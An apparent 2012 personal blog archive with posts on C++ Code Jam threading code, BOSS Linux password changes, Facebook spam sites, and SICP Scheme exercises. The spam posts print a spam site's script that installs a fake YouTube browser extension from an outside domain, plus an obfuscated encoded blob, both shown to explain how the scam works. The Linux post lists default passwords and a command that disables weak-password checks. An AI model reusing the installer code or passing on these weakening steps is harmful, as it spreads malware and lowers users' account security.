Wednesday, April 18, 2012

Google Code Jam - C++ base code

The qualification round is over! I found myself checking other people's code and I decided for the next rounds I'd need some common code to cut short the development time. There is no point in keeping this a secret, because, anyone can read other people's code and *a lot of far better, and really good code* are there if you check the code of the top 20 or so.

I plan to stick with python, however if speed of execution becomes very crucial, this will be my plan B (my plan A - using pypy ;) ).

I am treating each test case as a separate object. And since there is usually no common data  shared between  test cases, they can and should be parallelized. Pthreads are doing the job well enough, though I will try to check something with OpenMP's #pragma directive.

Note that while using pthreads and treating each test case as completely different gives us some gain, memoizing becomes a little bit more painful.

I also couldn't resist the urge to implement an ugly forAll kind of function. The doWork() is just something to test the performance gain, run this using perf in linux... and read the code and do comment if you have any suggestion, or I'll simply hunt your code down and read and learn from it ;)

#include < iostream >
#include < vector >
#include < pthread.h >

using namespace std;

class TestCase{

    private:
        int begin,end,result;

    public:
        TestCase(){begin = end = result = 0;}
        TestCase(int x, int y):begin(x),end(y){}
        void doWork();
        friend ostream & operator < < (ostream & out1,TestCase &t1);
        friend istream & operator >> (istream & in1,TestCase &t1);
};

void TestCase::doWork(){
    for(int i = 0; i < begin; i++){
        for(int j = 0; j < end*10;j++){
            for(int k = 0; k < begin; k++){
                result += 1;
            }
        }
    }
}

ostream & operator << (ostream & out1,TestCase &t1){
    out1&lt&ltt1.result;
    return out1;
}

istream & operator >> (istream & in1,TestCase &t1){
    in1 >> t1.begin &gt&gt t1.end;
    return in1;
}


inline void forAllTestCases(const int &num_testcases, vector<TestCase *> &tarr, void (*func)(TestCase * tptr)){
    int i = 0;
    while(num_testcases - i){
        func(tarr[i++]);
    }
}

void try1(TestCase * tptr){
    tptr-&gtdoWork();
}

void *doWork(void *threadArg){
    TestCase *tmp;
    tmp = reinterpret_cast<TestCase *>(threadArg);
    tmp->doWork();
}

int main(){
    int num_testcases,i;
    vector<TestCase *> tarr;
    cin>>num_testcases;

//read the input - I usually redirect the stdin
    TestCase *tptr;
    for(i=0;i<num_testcases;i++){
        tptr = new TestCase;
        cin >> *tptr;
        tarr.push_back(tptr);
    }

    vector<pthread_t> mythreads(100);
    pthread_attr_t attr;
    pthread_attr_init(&attr);
    pthread_attr_setdetachstate(&attr,PTHREAD_CREATE_JOINABLE);
    void *status;
    int rc;

   
    for(i=0;i<num_testcases;i++)
    {
        rc = pthread_create(&mythreads[i],&attr,doWork, (void *) tarr[i]);
    }

    pthread_attr_destroy(&attr);

    //forAllTestCases(num_testcases,tarr,&try1);

//print the output
    for(i = 0; i < num_testcases; i++){
        rc = pthread_join(mythreads[i],&status);
        cout<<*tarr[i]<<endl;
    }

   
}

Changing Password In BOSS Linux (Tamil Nadu Laptops)

Here is how you can change your password in BOSS Linux. The procedure is common for all GNOME 2.x Linux operating systems, but recently the BOSS Helpline is being flooded with calls from students who have received free laptops from the Tamil Nadu Government, so the support guys asked us to help them out, and so I want to be a little Google search friendly. I assume people will search something similar to Tamil Nadu Government laptop password change, or BOSS password change, or BOSS authorization code ???

If you received the laptop as part of the Tamil Nadu Gov scheme, there will be two default passwords. One is "boss" - the normal user password and the other is "root" - the administrative password.

  • When you login, for example, you'll have to enter boss as password. 
  • When you click on the Windows drive in linux and it asks for a password, you'll have to enter root.

To change the user password (first one)

In your desktop you should be seeing Applications, Places, System in the bottom. Click on System -> Administration -> Users and Groups.

You'll see something similar this,

Click on the change and give whatever password you want.

To change the admin password (second one)

Go to Applications -> Accessories -> Terminal

Type sudo -i and press the Enter key.
If it asks for a password, enter your first password.

If it is successful, you'll find the wordings change from boss@boss to root@boss

Now, type passwd

Enter the new password.

The system will not accept weak passwords, however if you want to make life simpler at your own peril, type pam-auth-update --remove passwdqc

After you've given that the system will not bother you when you enter weak passwords.

If you are still not sure, call 1800 4250 455

Wednesday, March 14, 2012

Facebook spam sites - Code which installs the browser plugin

Here is the javascript that is executed when you click on the install Youtube plugin button.
See previous post for more details.

var is_chrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;
var is_firefox = navigator.userAgent.toLowerCase().indexOf('firefox') > -1;

function instalar()
{
    if (is_chrome)
   {
      window.open("http://onbus.info/fb/youtube.crx");
   }
   else if(is_firefox)
   {
     var params = {
           "Youtube Extension": {
                  URL: "http://onbus.info/fb/youtube.xpi",
                  toString: function () { return this.URL; }
            }
      };
      InstallTrigger.install(params);
   }
   else
   { 
     window.open("http://www.google.com/chrome/eula.html");
   }
}

Facebook posts spam code sample - do it yourself!

Here is a small piece of code from one Facebook spamming website, which gets publishes shit on people's walls, and, well embarrasses the ruined guy.

Here we go,

Click on Google Chrome's wrench icon -> Tools -> Javascript console

Paste this  and press enter and see it change into something meaningful. This is how code obfuscation works.

unescape('%20%20%76%61%72%20%77%69%64%67%65%74%4a%53%4f%4e%20%3d%20%7b%20%20%20%20%22%62%72%61%6e%64%73%74%61%74%69%63%22%3a%20%22%73%74%61%74%69%63%2e%63%70%61%6c%65%61%64%2e%63%6f%6d%22%2c%20%20%20%20%22%62%72%61%6e%64%77%77%77%64%6f%6d%61%69%6e%22%3a%20%22%77%77%77%2e%63%70%61%6c%65%61%64%2e%63%6f%6d%22%2c%20%20%20%20%22%62%72%61%6e%64%63%6f%64%65%22%3a%20%22%63%70%61%6c%65%61%64%22%2c%20%20%20%20%22%64%61%74%61%64%6f%6d%61%69%6e%22%3a%20%22%64%61%74%61%2e%63%70%61%6c%65%61%64%2e%63%6f%6d%22%2c%20%20%20%20%22%74%72%61%63%6b%64%6f%6d%61%69%6e%22%3a%20%22%74%72%61%63%6b%69%6e%67%2d%74%65%63%68%6e%6f%6c%6f%67%79%2e%63%6f%6d%22%2c%20%20%20%20%22%70%75%62%22%3a%20%22%31%31%37%38%33%33%22%2c%20%20%20%20%22%73%75%62%69%64%22%3a%20%22%31%32%32%2e%31%37%34%2e%39%2e%31%31%30%22%2c%20%20%20%20%22%63%6f%75%6e%74%72%79%22%3a%20%22%49%4e%22%2c%20%20%20%20%22%67%61%74%65%69%64%22%3a%20%22%31%33%34%36%38%32%22%2c%20%20%20%20%22%67%61%74%65%69%64%36%34%22%3a%20%22%4d%54%4d%30%4e%6a%67%79%22%2c%20%20%20%20%22%67%61%74%65%74%79%70%65%22%3a%20%22%30%22%2c%20%20%20%20%22%67%61%74%65%68%61%73%68%22%3a%20%22%66%61%31%31%35%33%37%35%36%39%63%63%63%38%38%65%30%36%38%33%39%32%66%37%33%38%66%65%39%62%35%39%22%2c%20%20%20%20%22%69%63%6f%6e%6d%61%78%77%69%64%74%68%22%3a%20%22%35%39%2e%32%35%22%2c%20%20%20%20%22%69%63%6f%6e%69%74%65%6d%77%69%64%74%68%22%3a%20%22%35%39%2e%32%35%22%2c%20%20%20%20%22%70%72%6f%74%65%63%74%66%69%6c%65%22%3a%20%22%30%22%2c%20%20%20%20%22%70%72%6f%6d%70%74%65%6d%61%69%6c%22%3a%20%22%30%22%2c%20%20%20%20%22%61%63%63%65%73%73%74%69%6d%65%22%3a%20%22%32%34%22%2c%20%20%20%20%22%66%6f%6e%74%63%6f%6c%6f%72%22%3a%20%22%23%30%32%36%30%63%34%22%2c%20%20%20%20%22%62%61%63%6b%67%72%6f%75%6e%64%75%72%6c%22%3a%20%22%68%74%74%70%3a%2f%2f%69%2e%69%6d%67%75%72%2e%63%6f%6d%2f%4f%38%35%32%4f%2e%70%6e%67%22%2c%20%20%20%20%22%64%6f%77%6e%6c%6f%61%64%22%3a%20%22%4d%54%45%33%4f%44%4d%7a%66%44%45%7a%4e%44%59%34%4d%6e%77%77%22%2c%20%20%20%20%22%6c%65%66%74%74%69%6d%65%22%3a%20%22%66%6f%72%20%3c%73%74%72%6f%6e%67%3e%3c%75%3e%32%34%3c%2f%75%3e%3c%2f%73%74%72%6f%6e%67%3e%20%68%6f%75%72%73%20%6f%6e%6c%79%22%2c%20%20%20%20%22%61%6c%6c%6f%77%61%6e%63%65%22%3a%20%22%32%34%22%2c%20%20%20%20%22%61%6c%6c%6f%77%61%6e%63%65%75%6e%69%74%73%22%3a%20%22%68%6f%75%72%73%22%2c%20%20%20%20%22%61%6c%65%72%74%22%3a%20%22%31%22%2c%20%20%20%20%22%61%6c%65%72%74%74%65%78%74%22%3a%20%22%50%72%65%6d%69%75%6d%20%43%6f%6e%74%65%6e%74%20%55%6e%6c%6f%63%6b%65%64%21%22%2c%20%20%20%20%22%6c%65%61%64%74%65%78%74%22%3a%20%22%22%2c%20%20%20%20%22%63%61%63%68%65%75%72%6c%22%3a%20%22%61%48%52%30%63%44%6f%76%4c%33%4e%6c%5a%57%68%76%64%33%52%76%63%6d%56%7a%64%47%39%79%5a%58%6c%76%64%58%4a%68%59%32%4d%75%59%6d%78%76%5a%33%4e%77%62%33%51%75%61%57%34%76%50%33%64%68%64%47%4e%6f%22%2c%20%20%20%20%22%74%72%61%66%66%69%63%72%65%74%61%69%6e%65%72%22%3a%20%22%31%22%2c%20%20%20%20%22%63%6c%6f%73%65%62%75%74%74%6f%6e%22%3a%20%22%30%22%2c%20%20%20%20%22%72%65%64%69%72%65%63%74%65%6e%61%62%6c%65%64%22%3a%20%22%30%22%2c%20%20%20%20%22%72%65%64%69%72%65%63%74%75%72%6c%22%3a%20%22%22%20%20%20%7d%3b%20%20%20')

Thursday, February 23, 2012

The most confident puppy in the room

The most confident puppy in the room,
  • may embarrass itself more frequently,
  • will surely be silenced more,
  • will be put in its place often,
  • may not have the most number of friends,
  • will mess things up for itself and others
But we all know the most confident puppy in the room....

 

Saturday, February 18, 2012

Angry Facebook Rant

when i log in to FB, I see you, *you* all my FB friends, getting a promotion, eating to your hearts content in some fancy restaurant, enjoying in a wacko party, playing, enjoying, ALWAYS #@$@$, now i do all that, not that i don't! but to see someone do something EVERY FREAKING DAY, kinddaa bums me out, monday someone is getting married, tuesday someone else gets promoted, wednesday someone goes to a really beautiful place with all their friends, thursday someone found the love of their life, friday someone posts the pics of his new car, saturday someone won some football match, sunday someone is taking the whole week off :( @#$@#@#

What do you think, that i can fall in love very monday, get promoted on tuesdays, go dancing on wednesdays, buy BMWs and HArley Davidsons on thursdays, climb Mt. Everest on Fridays, go eat in taj on saturdays, and apply for one week leave every Sunday? There is no way i am going to keep pace with that, and i don't plan to, screw you, i am logging off and going to SLEEP, someone else can *like* all your photos, good night.

Wednesday, February 15, 2012

SICP Journey - 1

I have started learning Scheme as functional programming is raising its head once again! Haskell, Clojure, Coffee Script in javascript.

Boy, so here i go,

Here is my fibonacci program,
(define (fibo n)
        (cond ((= 0 n) 0)
              ((= 1 n) 1)
              (else (+ (fibo (- n 1))
                   (fibo (- n 2))
                      ))))

And here is a factorial program,

(define (factprog x)
        (cond ((= 0 x) 1) 
            (else (* x (factprog (- x 1)))
        ))
    )

Yup, that's it. So short and so sweet. Better versions of these programs are going to appear, so, watch out!